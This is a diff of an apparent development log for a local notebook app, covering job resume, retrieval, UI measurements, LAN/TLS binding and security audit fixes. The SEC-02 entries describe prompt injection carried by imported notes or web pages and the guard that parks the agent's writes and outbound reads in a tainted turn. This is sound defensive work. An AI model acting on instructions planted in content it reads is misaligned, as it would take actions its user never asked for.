+  handler in `jobstore.HANDLERS` and whose arguments are plain data: OCR,
+  caption, vision, vision-pdf, document, file-entry. Each handler checks
+  its stored result first, so a repeat is safe. Handlers are named
+  ("module:function"), never pickled; a stand-in function (a test's
+  monkeypatch, a lambda) runs as before and is not remembered.
+- **Lease:** the worker claims a row with one atomic UPDATE (queued to
+  running, `owner` = pid plus a random tail, `lease_until` 30 s); a
+  heartbeat thread renews every 10 s while the process holds a lease and
+  stops when it holds none.
+- **Resume** (`jobs.resume()`, called by `create_app` after
+  `jobruns.mark_interrupted`): queued rows, and running rows whose lease
+  lapsed, are queued again; a lease still standing is waited out with a
+  timer (a second live server on the same file keeps its job). Three
+  tries at most, then `failed` with the reason; an unknown kind fails
+  alone. A resumed row the pool's dedupe matches is closed, never left
+  queued. Finished rows pruned at launch: a week, 500 at most.
+- **Routes:** `GET /jobs` (limit), `GET /jobs/stream` (server-sent events,
+  a snapshot on every change by a version counter, a ping every 15 s,
+  closes after 60 s for `EventSource` to reopen; `seconds=0` for one
+  snapshot), `POST /jobs/{id}/cancel` (queued only; a running job is not
+  interrupted and the answer says so). The activity panel's Quit now
+  appears on, and stops, a queued reading (`/tasks/cancel` with `job-<kind>`).
+- **Measured:** `tests/test_jobstore.py`, 17 tests; the gate is two real
+  processes: the first is SIGKILLed inside the job (row running, attempts
+  1), the second resumes it and finishes it (row done, attempts 2), 4.1 s.
+  In the real app on :8802: an upload recorded its three readings; with
+  the server killed and the OCR row set back to running under a lapsed
+  lease, the next launch ran it (done, attempts 2) and the queued caption.
+- **Not verified:** the panel showing a resumed job (the readings here
+  finish in milliseconds without Tesseract or a vision model); Windows.

+
+## Moved from the plans, 2026-10-04 (D2 connections rail)
+
+### From WORLD_CLASS_PLAN.md D2: the spec and its state line, moved whole
+
+Exists: the list with card/list views, filters, select mode, capture with
+templates, the edit form, connections. Wrong: a note shows no backlinks
+inline; `[[` has no autocomplete; the capture footer is two wrapped rows
+with a FAB over the Save button; the edit form's gutter drifts. Target:
+capture is one field with a slash menu and `[[` autocomplete, a one-row
+footer; a note's page has a connections rail (backlinks, links, related by
+similarity, in the same map) that is always visible on desktop and a sheet
+on phone. Brief: `[[` autocomplete over `/entries?q=` with keyboard
+selection; a `.connections-rail` component rendered from `/entries/{id}/links`
+(exists) and `/entries/{id}/related`; the footer on the bar recipe. Gate:
+typing `[[te` shows matches within 150ms on a 2,000-note fixture; the rail
+renders for every note; the FAB never overlaps a primary (Playwright
+intersection check).
+
+**State 2026-09-24:** (b) `[[` autocomplete is built (`#wiki-suggest`, app.js, and the editor's own). The connections exist as a sheet opened from a card's menu (`openConnections`, app.js); the rail is **built 2026-09-27**: `#notes-rail`, the Notes layout's third column at 1280px and wider for the note open or selected, drawn from `/entries/{id}/connections` through the sheet's own `buildConnectionGroups` plus the forgotten notes near it (`GET /resurface/near`), hidden with the choice remembered, the sheet below 1280. Measured with `scratchpad/ui-sweeps/notesrail.js`, 24/24: the reading column 747px at 1440 and 620px at 1280, no overlap, no sideways scroll, and no rail at 1024 or 390, where the sheet opens. Nothing of D2 is open here.
+
+### Re-measured 2026-10-04 (WORLD_CLASS_PLAN row 4)
+
+`scratchpad/ui-sweeps/notesrail.js` against the showcase notebook
+(`seed-showcase.py`, 71 notes) on the branch head: 30/30 checks light and
+30/30 dark, at 1440, 1280, 1024 and 390. At 1440 and 1280 the rail comes
+with an opened note, beside the list without overlap, the reading column
+at least 600px, nothing sideways, arrows and Escape, a row opens its note,
+hiding is remembered; at 1024 and 390 no rail and the Connections sheet
+opens. The rail at 1280 and wider (not at 1024) is the recorded decision:
+at 1024 a third column leaves the reading column under 600px. A notebook
+seeded by `seed.js` alone has one link and fails "selecting a linked note
+brings the rail" for want of a note with two connections, which is the
+fixture, not the rail.
+
+
+## Moved from the plans, 2026-10-04 (row 6: paragraph vectors and evidence cards)
+
+### From WORLD_CLASS_PLAN.md §14 item 3: chunked vectors and sentence-level citations
+
+One vector per note loses long notes and every document. Embed paragraphs
+(one row per chunk, `entry_id, ordinal, vector`), retrieve chunks, and ground
+each answer sentence by cosine against chunks when an embedding backend is
+up, falling back to the lexical scorer. A citation then points at the
+paragraph, and the chip quotes it. Size M.
+
+### From WORLD_CLASS_PLAN.md I6: evidence cards: answers you can audit sentence by sentence
+
+**What the person sees.** Every AI answer sentence carries a small marker;
+hovering shows the *paragraph* it came from, with the three reasons it was
+chosen (words matched, meaning score, graph distance) as three short bars,
+and the verifier's verdict: supported, partly, or unsupported. Unsupported
+sentences are rendered in a lighter tone with "no note says this". A
+"Show the evidence" toggle opens the answer and its sources side by side,
+each source scrolled to the paragraph. A one-line trust score under the
+answer: "9 of 11 sentences supported by your notes".
+
+**Why it is new.** Perplexity cites pages; it cannot say which sentence
+is unsupported, and its citations are page-level. Here the corpus is
+finite and local, so every sentence can be checked against every
+paragraph, and the verifier (B5) can say no.
+
+**Builds on.** This session's grounding change (touched notes, distinctive
+words, labels), `addInlineCitations` and `renderAnswerGrounding` in
+`app.js`, `match_info` (the three signals already exist per hit), the
+verifier spec `tests/test_harness_verifier_spec.py`, §14 item 3 for
+paragraph-level anchors.
+
+**Data.** None new. The grounding event grows per row: `chunk_ordinal`,
+`span`, `signals: {bm25, cosine, graph}`, `verdict`.
+
+**Tests first** (`tests/test_evidence_spec.py`): each grounded row carries
+a chunk ordinal and a span that exists in that note; an answer sentence
+with no candidate is marked `unsupported` and the trust line counts it;
+the side-by-side view scrolls the source to the span (Playwright: the
+span's rect is inside the viewport); the markers survive the final
+markdown re-render (the bug already fixed once in `askQuestion`).
+
+**Gate.** Trust score correct on the eval fixture's golden answers
+(`tests/eval/golden.py`), citation score in `tests/eval/scoring.py` up
+from its current baseline (record the number first). **Size** M. **Model**
+Opus.
+
+**State 2026-09-24:** (b) the per-sentence marks and the "only N of M sentences supported" line are built (CHAT_PLAN Phase 1, app.js ~13530); paragraph anchors, the three signal bars per sentence and the side-by-side view are not, and wait on §14's chunks. M, Opus.
+
+### Built 2026-10-04
+
+- **Paragraph vectors.** `ChunkVector` (`chunk_vectors`: entry, the
+  `embeddings.id` it was cut beside, ordinal, start, end, digest, vector).
+  `embeddings.paragraph_chunks` splits on blank lines, joins a paragraph
+  under 12 words to the next (a heading reads with what it heads), cuts one
+  over 160 words at sentence ends, 32 at most per note; a one-chunk note
+  stores none. Each chunk embeds as the note's first line plus the
+  paragraph. `store_for_entry` stores them beside the note vector; a re-save
+  reuses unchanged paragraphs by digest (one edited paragraph, one embed);
+  `embed_many` batches on sentence-transformers. The warm-up backfill gives
+  old long notes paragraphs without re-embedding the note.
+- **A chunk counts only beside its own note vector.** Ten sites delete note
+  vectors, mostly by bulk statement; none needed teaching. No foreign key on
+  `entry_id` (enforced keys would have broken every hard-delete path until
+  each learned the table); `set_private` and the purge delete the rows,
+  `clean_orphaned_vectors` removes the rest.
+- **Scoring.** `search/chunks.py` keeps a unit-row matrix synced by the
+  table's fingerprint and an id diff (no reload per write). A note's cosine
+  is the better of its own vector and its best paragraph's, in
+  `semantic_search` (Ask and chat retrieval) and the engine's cosine signal.
+  `chunks.ENABLED` is the switch the measurement flips.
+- **Measured** (`scratchpad/chunk_retrieval_bench.py`, a hashed
+  bag-of-words embedder, no torch; queries ask a long note's middle
+  paragraph): 1,000 notes, recall@1 0.00 to 0.18, recall@5 0.01 to 0.42, MRR
+  0.003 to 0.277, search median 0.9 to 2.5 ms; 5,000 notes (15,406
+  paragraphs) recall@5 0.00 to 0.17, MRR 0.004 to 0.122, search median 5.6 to
+  17.5 ms on a machine at load 7 (einsum over the paragraph matrix is most of
+  it); storing one eight-paragraph note 2 to 5 ms (1,000).
+- **Evidence fields.** Every grounding row carries `chunk_ordinal` (the
+  paragraph its passage overlaps most), the span, `signals {bm25, cosine,
+  graph}` (share of the sentence's words in the passage; cosine against that
+  paragraph's vector via `chunks.meaning_scorer`, None with no backend;
+  1, 0.5 or 0.33 by how retrieval reached the note, None for a tool-read
+  note) and `verdict` (supported at half the words, else partly). The
+  offline extractive answer carries the same. `grounding.support` lists the
+  unsupported sentences.
+- **Frontend.** The citation peek shows the verdict and three bars
+  (`evidenceSignals`; an unmeasured signal is left out). "N of M from your
+  notes" ends the Grounded in row and opens the evidence view
+  (`renderEvidenceView`): each sentence beside its passages, No note says
+  this beside the rest, two columns at 600 and wider. DESIGN.md recipe
+  "Why a thing was chosen"; Guide topic `chat-controls` updated.
+  `scratchpad/ui-sweeps/evidence.js` 12/12 at 1440 and 390, light and dark.
+- **Not verified:** a real embedding model (the gain on bge-small is not
+  measured); the H2 gate "95% of sentences cited" needs a real model.
+
+
+## Moved from the plans, 2026-10-04 (row 5: tensions and answered questions)
+
+### From WORLD_CLASS_PLAN.md I1, the algorithm's passes 4 and 5
+
+"(4) tensions: for each new claim, top-k similar claims by cosine, then one
+model call per pair above the threshold asking 'compatible / incompatible /
+unrelated' with a one-line reason; (5) answered questions: for each open
+question, top-k similar claims written *later*; one model call asks 'does
+this answer it'. Stop when the budget is spent; record where; resume from the
+cursor next night." Tests: a second run with no new revisions produces zero
+facts and spends zero tokens; dismissing a fact hides it; nothing in
+`entries` changes. Gate: 2,000 notes, a first run under the fake model in
+under 5 minutes, the card under 100 ms.
+
+### Built 2026-10-04
+
+- **`facts._pair_passes`**, run after pass 3 inside the same budget and the
+  same `NightRun`. Only pairs with a side new this run are compared, so a run
+  with nothing new spends nothing here. Kinds `tension` and `answered`, stored
+  on the later side (its note, span and words) with the other side in a new
+  `derived_facts.payload` JSON column (fact, note, words, span, the pair key,
+  the model's reason); `as_json` gives it as `pair`.
+- **Neighbours:** an inverted index over the claims' meaningful terms, then,
+  with an embedding backend, the best eight re-scored by cosine (floor 0.6);
+  without one, words (floor 0.34). Three per sentence. The same wording again
+  is never a neighbour: identical claims at cosine 1.0 had filled every
+  place and hidden the one that disagreed (found by `nightpairs.js`, pinned by
+  `test_identical_claims_do_not_crowd_out_the_one_that_disagrees`).
+- **Judging:** with a model, one call per pair (`incompatible`, `yes`); with
+  none, two local rules only: near-identical claims that differ in a number
+  or a "not", and a later claim holding 60% of what a question asks.
+  Pairs are deduplicated by key, tombstones included, so a dismissed tension
+  is never found again.
+- **The card:** two new lines ("claims that disagree with others",
+  "questions answered later"); a pair row quotes its other side, opens the
+  other note, and a tension can be linked as disagreeing through
+  `POST /entries/tensions/accept`. Guide topic `learned` updated.
+- **Measured:** `scratchpad/night_pairs_bench.py`, 2,000 notes of four
+  sentences: no model 39.3 s, a fake judge 130.4 s and 21,322 calls (gate 5
+  minutes), the card 38.6 and 72.8 ms (gate 100); after the wording dedupe,
+  on a machine at load 7, 56.8 s, 215.4 s and 21,474 calls, the card 74.7
+  and 83.5 ms. Inside both gates, the second with less room than it looks. `nightpairs.js` 9/9 at
+  1440 and 390, light and dark.
+- **Not verified:** a real model's verdicts (the judge prompts run against a
+  fake that answers by rule).
+
+
+## Moved from the plans, 2026-10-04 (row 7: open questions)
+
+### From WORLD_CLASS_PLAN.md I3: open questions: the notebook keeps a list of what you have not answered
+
+**What the person sees.** A "Questions" view under Notes (a sub-tab):
+every question you have written to yourself, newest first, each with
+"asked 3 March in 'Pricing thoughts'" and one of three states: open,
+answered ("you answered this on 9 April in 'Call with Sam'", with the
+sentence), or dropped. The Dashboard shows the count and the oldest open
+one. Ask can be scoped to it: "what am I still undecided about?" answers
+from this list with citations.
+
+**Why it is new.** Task managers track tasks you *declared*. Nobody tracks
+the questions you *asked in passing* and tells you when a later note
+answered them. This is the feature that makes a notebook feel like it
+remembers on your behalf.
+
+**Builds on.** I1 (extraction and the "answers" pass), the grounding
+scorer for the answered-by sentence, the Notes sub-tab strip and the dock
+grammar (a `questions` dock on the grammar), `EntryLink` typed `answers`.
+
+**Data.** `derived_facts` of kind `question` with payload `{answered_by:
+fact_id | null, dropped: bool}`. No new table.
+
+**Endpoints.** `GET /questions?state=` (paged), `POST /questions/{id}`
+(`{state}`; marking answered by hand asks for the note and stores a typed
+link), the Ask box gets `scope: "questions"`.
+
+**Tests first** (`tests/test_questions_spec.py`): a fixture note with two
+questions yields two open facts with spans; a later note that the fake
+model judges as answering one flips its state and the link exists; Ask
+with the scope cites only question facts; dropping is reversible and
+recorded as a correction (I7).
+
+**Gate.** The view renders under 100ms for 500 questions; the dock passes
+`test_dock_grammar.py`. **Size** M. **Model** Sonnet for the view on the
+list recipe; Opus for the Ask scope.
+
+**State 2026-09-24:** (b) question facts are derived (I1's first pass); `GET /questions`, the Notes sub-tab, the Ask scope and the answered-by link are not built. M.
+
+### Decided 2026-10-04: the answered-by link
+
+The plan names both "the answered-by link" and "`EntryLink` typed
+`answers`", and no `answers` type exists (`LINK_TYPES` has six, every picker
+and the Graph's legend read them). Taken: the answered-by link is the
+question row's link to the sentence that answered it, in its note; a typed
+link (`context`, reason "answers: ...") between the two notes is written only
+when the person marks a question answered by hand. The night pass never
+writes to the graph unasked, as it never writes to a note (I1).
+
+### Built 2026-10-04
+
+- **`ai/questions.py`**: a question's state (open, answered, dropped) worked
+  out from its own `payload` (`dropped`, `answered_by_entry`) and the pass's
+  `answered` rows (row 5); `listing` pages one state with the count of each;
+  `set_state` drops, reopens (tombstoning the pass's answer so it does not
+  come back next night) or marks answered by hand (the note named, a
+  `context` link written); each move is a correction (`drop_question`,
+  `reopen_question`, `answer_question` in `learning.KINDS`).
+- **Routes:** `GET /questions?state=`, `GET /questions/summary`,
+  `POST /questions/{id}` (`routes_questions.py`).
+- **The view:** Notes, Questions (a fifth sub-tab, `data-dock-name=
+  "questions"` on the dock grammar): Open, Answered and Dropped segments
+  with counts, a row per question ("Asked 4 Oct 2026 in 'Plans for the
+  shed.'"), the answered-by line quoting the answer and opening its note,
+  Mark answered (the note picker), Drop, Reopen, Ask about these.
+- **The Ask scope:** `ChatRequest.scope = "questions"` turns into the notes
+  holding open questions as a closed set (`_apply_scope`); the Ask box shows
+  the scope line with Ask all notes.
+- **The Dashboard:** the While you were away card ends with the open count
+  and the oldest open question, and See your questions.
+- **Measured:** 500 questions listed in under 100 ms
+  (`test_the_list_renders_under_100ms_for_500_questions`); `questions.js`
+  16/16 at 1440 and 15/15 at 390, light and dark (the answered-by line
+  8.3 to 15.2:1).
+- **Not verified:** the Ask scope's answer from a real model; the fake
+  transport answers by rule.
+
+
+## Moved from the plans, 2026-10-04 (row 2: LAN mode over IPv6)
+
+### From WORLD_CLASS_PLAN.md §12, Brief 15's last item
+
+"Left: IPv6 addresses.
+Sized 2026-10-04 at M, not S: `uvicorn.run(host="::")` is dual-stack on
+Linux but IPv6-only on Windows (IPV6_V6ONLY defaults on), so the launcher
+must bind its own `socket.create_server(("::", port), family=AF_INET6,
+dualstack_ipv6=True)` (falling back to 0.0.0.0 where
+`socket.has_dualstack_ipv6()` is false) and run `uvicorn.Server(config).run(
+sockets=[sock])`; `netbind.arrived_on_loopback` must read `::ffff:127.0.0.1`
+as loopback; `lan_addresses` lists global and unique-local IPv6 addresses
+bracketed (never link-local, which needs a zone id no browser takes); and
+`tests/test_lan_mode.py`'s launcher test runs once over `[::1]` and once
+over a v4 address against the same server. Windows is not testable here."
+
+### Built 2026-10-04
+
+- **`core/netbind.py`:** `bind_host` gives `::` with LAN mode on where
+  `socket.has_dualstack_ipv6()` holds, `0.0.0.0` otherwise (as before);
+  `listening_socket` makes the one dual-stack socket (`create_server(...,
+  dualstack_ipv6=True)`, IPV6_V6ONLY cleared, so Windows answers IPv4 too);
+  `arrived_on_loopback` reads the IPv4 inside `::ffff:127.0.0.1`;
+  `lan_addresses` adds global and unique-local IPv6 (getaddrinfo and
+  `/proc/net/if_inet6`, never link-local, loopback, multicast or IPv4-mapped)
+  after the IPv4 ones; `describe` and the launcher's log bracket them
+  (`url_host`).
+- **`__main__._run_server`:** hands the socket to `uvicorn.Server(...).run(
+  sockets=[sock])`; if the dual-stack socket cannot be made, binds `0.0.0.0`
+  and says so through `set_current`.
+- **Tests:** `tests/test_lan_mode.py` gains six: the fallback, the mapped
+  loopback, the address list (link-local and mapped refused, IPv6 after
+  IPv4, brackets), the bracketed Host header, and the launcher reached over
+  `[::1]` and `127.0.0.1` on one server.
+- **Not verified:** this sandbox has no IPv6 (`AF_INET6` is "address family
+  not supported"), so the end-to-end test skips here and runs on CI; Windows
+  is not testable here at all.
+
+## Security audit fixes, 2026-10-05 (SEC-01 to SEC-16)
+
+The audit (`scratchpad/audit1005/security.md`, head `64ddf14`) found 3 High,
+7 Medium and 7 Low; each fix below has the audit's reproduction as a test,
+written first and seen failing.
+
+- **SEC-01 (High), a reset opened the notebook to the network.**
+  `netbind.bind_host(config, has_password=...)` binds loopback without a
+  password; `--reset-password` turns `allow_lan` off and says so;
+  `HostCheckMiddleware` answers 403 to every request that arrives off
+  loopback before a password exists (setup included), however the server
+  was started. `tests/test_lan_mode.py` (the launcher tests now set the
+  password, then restart).
+- **SEC-02 (High), injection laundered through a note.**
+  `manager.came_from_outside` (a `source_url` or `source_path`) and
+  `document_came_from_outside` (its "imported" event); `_common._readable`,
+  the whiteboard previews and the document reads mark the call, and
+  `execute_tool` reports `from_outside`; a retrieved note carries it too. A
+  tainted turn parks every `WRITE_TOOLS` call as well as the outbound ones
+  (`agent._PARK_WHEN_TAINTED`); `confirm_label` names writes in words.
+  `tests/test_injection_fence.py`, seven new.
+- **SEC-03 (High), private words in the FTS segments.**
+  `manager.scrub_private_leftovers` after `set_private(True)`: FTS5
+  `optimize` on both tables with `secure_delete` on, then
+  `wal_checkpoint(TRUNCATE)`; `backup.snapshot` (backup API, `optimize`,
+  `VACUUM`) for every backup and the export zip, which also stops the zip
+  missing what was still in the WAL. `tests/test_private_scrub.py` greps
+  the live file, a backup and the zip.
+- **SEC-04, SEC-09.** Change password and Re-encrypt share the unlock
+  throttle; one `_hash_password`/`_password_matches` pair pre-hashes a
+  password over 72 bytes (no migration: no older hash can be of one);
+  passwords capped at 1,024 characters.
+- **SEC-05.** The Host check runs on every real socket, loopback included
+  (only the in-process test client, whose scope names its server, is not
+  judged); `/auth/lock` does nothing without a live token; `Origin: null` is
+  cross-site on `/auth/*`.
+- **SEC-06.** `security.BodyCapMiddleware`: 1 MB without a session (and on
+  `/auth/*`, `/logs/client`), 320 MB with one; declared lengths refused
+  unread, chunked bodies cut off as they pass.
+- **SEC-07.** A restore calls `routes_auth.end_every_session()`; the UI
+  shows the lock screen.
+- **SEC-08 (short term).** The LAN help and switch say the traffic is plain
+  http; the stale "IPv4 only" line is gone.
+- **SEC-11 to SEC-13, SEC-15, SEC-16, SEC-17 (copy).** Attachments served
+  as `application/octet-stream` unless a picture or PDF, sandboxed and
+  `Cross-Origin-Resource-Policy: same-origin`; `security.without_userinfo`
+  on the bundle and the receipt; the notebook folder 0700 on Unix; the five
+  URL sinks through `safeHref` and `source_url` http(s) only; the innerHTML
+  lint reads across lines and every HTML sink, `document.write` pinned;
+  PRIVACY.md says a PIN falls to an offline guess.
+- **The owner's "fully local" ask:** `tests/test_outbound_inventory.py`
+  pins every module that can open a connection, with where it goes and what
+  has to happen first, and boots an app that reaches nothing beyond
+  loopback.
+- **Not verified:** real-model compliance (scripted model only); a real
+  rebinding page in a browser; the pywebview window; Windows file modes.
+
+## Security audit, second pass, 2026-10-05 (the owner's two decisions, SEC-08 to SEC-17)
+
+The owner's two decisions of 2026-10-05 (WORLD_CLASS_PLAN 12, "Decisions
+made") and the audit's leftovers, each with its test written first.
+
+- **Auto-update asks once.** `update_choice_made` (core/config.py) is
+  false until the person answers; `auto_update_enabled` is off by default
+  for every install. start.sh's `mm_update_plan` says `ask` until then and
+  neither pulls nor reaches the remote (the doctor too); `mm_ask_update_choice`
+  asks in a terminal (60 s, Enter is no) and exports `MM_UPDATE_CHOICE`,
+  which `routes_update.apply_launcher_choice` keeps at startup. start.bat
+  reads the same four plans in `:read_update_plan` and leaves the question
+  to the app (its console may sit behind the splash). The app asks through
+  `askUpdateChoiceOnce` (update-dialogs.js, `POST /update/choice`); in the
+  packaged app yes means "tell me", installing keeps its own switch. The
+  Settings button is "Check for updates" and checks once with the switch
+  off (`/update/check?manual=1`). Tests: `tests/test_update_ask_once.py`,
+  `TestUpdatesAskOnce` in `tests/test_launcher_scripts.py` (a scratch copy,
+  a recording `git`, a pty), `tests/test_launcher_update_settings.py`.
+- **SEC-08, LAN over HTTPS.** `core/lancert.py` makes an EC P-256,
+  825-day, serverAuth certificate with `cryptography`, its SAN the host
+  name, `.local`, localhost and every LAN address, in `<data>/lan-tls/`
+  (folder 0700, files 0600), once, reused, renewed 30 days before expiry or
+  when unreadable. `__main__._serve_with_lan` serves the network over TLS on
+  `netbind.lan_port` (8443 beside 8000, `MEMORYMAP_LAN_PORT`) beside plain
+  http on 127.0.0.1, one app, one loop, the second listener leaving signals
+  to the first; the fingerprint is printed at start. Settings, Other devices
+  shows the fingerprint (`GET /auth/lan-access` `certificate`) and
+  Regenerate certificate (`POST /auth/lan-certificate`), which reloads the
+  live TLS context, no restart. Tests: `tests/test_lan_tls.py`, and
+  `tests/test_lan_mode.py`'s end-to-end test now verifies the handshake
+  against the notebook's own certificate by IP (the SAN), a Secure cookie,
+  and plain http refused from the network.
+
+- **SEC-10, a folder import is safe to run again.**
+  `routes_settings._already_imported` maps every live note's `source_path`
+  to the SHA-256 of its text (or to "private", matched on the path alone, so
+  an import never makes a readable copy of a private note); a file already
+  in is counted as "already in" on the activity line and the job's result.
+  A failed file rolls the session back, so one bad flush no longer refuses
+  every later file (`create_entry` commits each note, so nothing before it
+  is lost). The task-history row at start and "The app closed before this
+  finished." after a kill were already there (`jobruns.job_run`,
+  `mark_interrupted`). `tests/test_import_idempotent.py`: twice adds
+  nothing, an interrupted import finishes, a changed file comes in, a
+  private note is not duplicated, one failure does not stop the rest.
+
+- **SEC-14, answers that quoted a note before it went private.**
+  `manager._redact_answers_quoting`, called by `set_private(True)` before the
+  text is sealed: an `AskTurn` whose results, connections or grounding name
+  the note, or whose answer repeats a run of six of its words, gets
+  `PRIVATE_ANSWER_REDACTED` and loses its grounding and match details; a
+  saved chat reply that cited it (its raw results, connections, sentence
+  marks, or a note attached to the question before it) or repeats a run of
+  its words anywhere in the message (steps, tools, thinking) is replaced
+  by `{content: PRIVATE_ANSWER_REDACTED, redacted: true}`. The question
+  stays. With SEC-03's scrub after the commit, none of the words stay in the
+  file. `tests/test_private_answer_scrub.py`.
+
+- **SEC-17, a floor for new passwords.** `routes_auth.NEW_PASSWORD_MIN_CHARS`
+  (8) at setup and change password, said in a 400 sentence;
+  `password_warning` flags a common choice, one or two characters repeated, a
+  run along the alphabet, the digits or a keyboard row, and a short password
+  of one kind of character, and setup and change return it as `warning`
+  (the lock screen toasts it, Settings says it on the status line). Unlock
+  keeps its old floor, so a password set before this still opens the
+  notebook. The lock screen's own check is 8 for setup and 4 for unlock;
+  the setup note and the placeholder say 8. Also: the boot's update step
+  now runs after the templates load `prefsCache`, which it read as null
+  beside them, so neither the ask-once question nor the opted-in startup
+  check ever ran (measured in Chromium before and after;
+  `scratchpad/ui-sweeps/sec2-1005-sweep.js`). `tests/test_password_floor.py`.
+
+- **SEC-02's last step, which pages a tainted turn may open.** In a turn
+  that has read outside text, `read_url` still parks unless
+  `agent._cleared_page` clears it: its page key (host lowercased, no scheme,
+  fragment or trailing slash, the query kept) is one a `web_search` returned
+  this turn (`_TurnState.result_pages`, from every `url`/`link`/`href` in
+  the result), or its host, `www.` aside, is one the person named in the
+  question (`_hosts_named`, `named_hosts`). A query string or a longer path
+  added to a result, and a host that only ends like the named one, still
+  park. Untainted turns are unchanged. `tests/test_injection_fence.py`, four
+  new.
+
+## Moved from the plans, 2026-10-04 (design-1004)
+
+### From WORLD_CLASS_PLAN.md 1.2: one primary per modal, meta without border or hover
+
+Both lints in `tests/test_consistency_contract.py` were ratchets (5 dialogs
+and panes with two or three filled buttons; 13 `.chip` rules drawing a
+border or answering hover). Both are strict now.
+
+- **One primary.** The four stage-gated pairs write the later button `ghost`
+  and hand the one fill over with `stagePrimary(first, later, laterTurn)`
+  (app.js): `doc-ai-run` to `doc-ai-accept` when the result shows
+  (`showDocAiResult`), `ocr-to-note` to `ocr-edit-save` while the reading is
+  being edited (`ocrOpenEdit`/`ocrCloseEdit`), `meeting-record` to
+  `meeting-save` once there is a transcript, `embedding-apply` to
+  `embedding-error-fix` while the fix row shows (status.js; the dead
+  `only_on_error` allowance in `test_ui_recipes.py` went with it).
+  `update-install-version` and `about-shortcuts` are ghost. `STAGE_PAIRS`
+  checks each pair is ghost in markup and handed over in code.
+- **Meta.** 13 to 0. A chip you press is a `.chip-interactive` (role button,
+  from `chip(..., onClick)`; the category that opens its menu now carries the
+  class) and every hover or edge rule names that class: link chips, the
+  category, the chat and Ask suggestions, the Library's usage chip. The
+  facts lost their edge (`.chip.when` and `.chip.untagged` dashed,
+  `.chip.refs`, `.chip.reminders`, `.chip.confidence`, `#entry-list
+  .chip.link`, the category's 8% hairline); `.recent .chip` and its hover
+  were the `.chip-interactive` rule twice. In the Notes list the hover edge
+  is the `.link-connection` pill's, as in Ask. An inset 1px `box-shadow`
+  now counts as a border. Kept by name (`META_EDGED`, not a ratchet): the
+  label recipe `.chip.item-label` (INBOX 461's hairline box, the later and
+  more specific decision than 1.2's "statuses are meta") and
+  `.chip.suggested-tag` (two buttons in one box).
+- Measured (`scratchpad/ui-sweeps/metachips.js`, 1440 light and 390 dark):
+  every chip on a seeded note's line has a 0px edge; the facts (`when`) do
+  not change under the pointer; the category, the "+N", the references and
+  a hashtag tone; link chips change ink; heights 24px, unchanged.
+### From OPEN.md (Documents): the viewport popups with the background art on
+
+Measured, not changed: nothing failed. `scratchpad/ui-sweeps/popupsart.js`
+opens each popup through its own opener with `bgArt` on and `GLASS=on` (the
+default look has glass off, and then no `.card` carries a backdrop-filter at
+all, so a run without it measures nothing), and reports the parent, the first
+trapping ancestor, whether it is in the window, how many of 9 points inside
+it something else covers (`elementFromPoint`), its ground's alpha and its
+first enabled row's contrast. At 1440 light and dark and 390 light and dark:
+
+- 0 failures in all four runs; the lowest first-row contrast is 5.91:1 (the
+  How it answers panel, 1440 light), every ground alpha is 1, and 0 of 9
+  points are covered anywhere.
+- The chat dock's How it answers panel: absolute inside `.chat-dock`, which
+  blurs, so it sits in that stacking context (an absolute box is not moved
+  by it as a fixed one would be); at 390 it is a sheet. The dock's select
+  menu: a child of body, fixed, 6.66:1 light, 6.59:1 dark (at 390 the selects
+  are in that sheet, not measured from it). The model panel needs a
+  configured chat model to open (`openChatModelPanel` returns without one);
+  it is a child of body, so no card can trap it.
+- The selection popup over rendered Notes text: its button and its menu are
+  children of body, fixed, untrapped, 13.44:1 light, 8.42:1 dark; at 390 the
+  menu is the action sheet.
+- The board's context menu: a child of body, fixed, z 200. The five
+  `.wb-board-menu`s: absolute inside `#wb-topbar` (which blurs) at 1440; at
+  390 four are escaped to body and the Board menu stays in the bar; all in
+  the window, 17.07:1 light, 14.01:1 dark.
+- The sweep's first drafts read 1.22:1 and 2.01:1: `color-mix()` computes to
+  `color(srgb r g b)` in 0..1 and the accent ramp to `oklch()`, and both were
+  parsed as rgb numbers. Colours are now read back through a canvas, and a
+  row's own tint is composited under its words. A sweep fault, not the app's.
+
+### From documents-1004 item 3 (UI_MODERNISATION_PLAN Phase 11 item 12's budget): the first line on a phone
+
+At 390x844 in Read, the phone's default view, the first line was at y=255
+(`scratchpad/ui-sweeps/docphonetop.js` names every band above it): the top
+bar 0 to 58, the dock's two rows 80 to 174, the pane's 24px pad, and the
+document's name again as a heading (207 to 248) under a head row that already
+shows it. Phase 11's gate is chrome at most 25% of the height (211px). Now,
+below 600 only: the prepended name heading is marked `.doc-preview-title`
+(`renderDocPreview`, only when the title was added, never a heading the
+author wrote) and is not drawn, the next block loses its top margin, and the
+reading pane pads `--space-6`. First line 255 to 199, light and dark; Live
+stays at 192. At 1440 the Read view's title heading is still drawn (block,
+33px). The dock's two rows stay: the Edit/Read row is the view switch the
+plan's item 6 decided on, and it fits the budget as it is.
+## Moved from the plans, 2026-10-05 (GRAPH_PLAN, the last KG rows)
+
+- **Rollups on a live query's table** (the six the plan allows: count, sum,
+  min, max, earliest, latest). `entry/query.rollups` reads the property index
+  (`EntryProperty.number` and `.date`) over every note the query matched, not
+  the 500 rows drawn; `GET /entries/query` returns `rollups` per column. The
+  table's footer (`queryTableRollupFoot`, note-properties.js) is sticky, a
+  `<select>` per column offering only what the values read as (a column of
+  words says Count with no select), its choice kept on this device; default
+  sum, else latest, else count. `tests/test_query_rollups_kg7.py` (4);
+  `scratchpad/ui-sweeps/kg1005-rollups.js` 8/8 at 1440 light and 390 dark
+  (Sum 200.5 over 120, 80.5 and "soon"; Latest 2026-03-02; Max 120 after a
+  change).
+- **A note field searches** (KG4): `noteFieldPickButton` (selection.js) puts
+  the notebook picker (`pickEntryDialog`, the INBOX 548 recipe) beside a
+  note-kind field in the note's Properties sheet and the document's
+  properties panel; the chosen note's name fills the box and fires its
+  change, so the document panel writes the `[[link]]` at once. Before, the
+  only help was a datalist of the first 300 titles. Same sweep: the button is
+  square in its row (28px desktop, 44px touch), and choosing "Lisbon" fills
+  the field.
+
+## Moved from the plans, 2026-10-05 (row 18: the derived tensions table)
+
+WORLD_CLASS_PLAN B4, row 18. Typed links were already KG3 (`LINK_TYPES` plus
+`relation_types`). Built here:
+
+- **The table** (`tensions`, `DerivedTension` in `core/database.py`): one row
+  per pair of notes, with its status (open, accepted, dismissed), the reason,
+  who decided it (a model, `local`, or `person`), when, its source (scan,
+  night, link) and the event it cites. A new table, so `create_all` builds it;
+  no migration.
+- **The sources** (`ai/tensions.py`, `derive`): tension events written by the
+  scan (`tension_found`, with reason, model and confidence) and by Accept and
